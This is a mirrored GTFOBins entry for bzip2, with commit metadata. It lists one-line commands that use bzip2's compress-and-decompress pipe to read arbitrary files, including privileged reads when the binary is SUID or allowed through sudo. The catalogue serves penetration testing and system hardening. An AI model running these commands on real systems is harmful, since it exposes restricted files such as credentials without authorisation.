1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 07:49:17 +01:00
GTFOBins.github.io/_gtfobins/bzip2.md
Emiyo cdc81c5a74
Add bzip2
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
2021-09-26 11:59:01 +02:00

510 B

description functions
There are also a number of other utilities that rely on `bzip2` under the hood, e.g., `bzless`, `bzcat`, `bunzip2`, etc. Besides having similar features, they also allow privileged reads if `bzip2` itself is SUID.
file-read suid sudo
code
LFILE=file_to_read bzip2 -c $LFILE | bzip2 -d
code
LFILE=file_to_read ./bzip2 -c $LFILE | bzip2 -d
code
LFILE=file_to_read sudo bzip2 -c $LFILE | bzip2 -d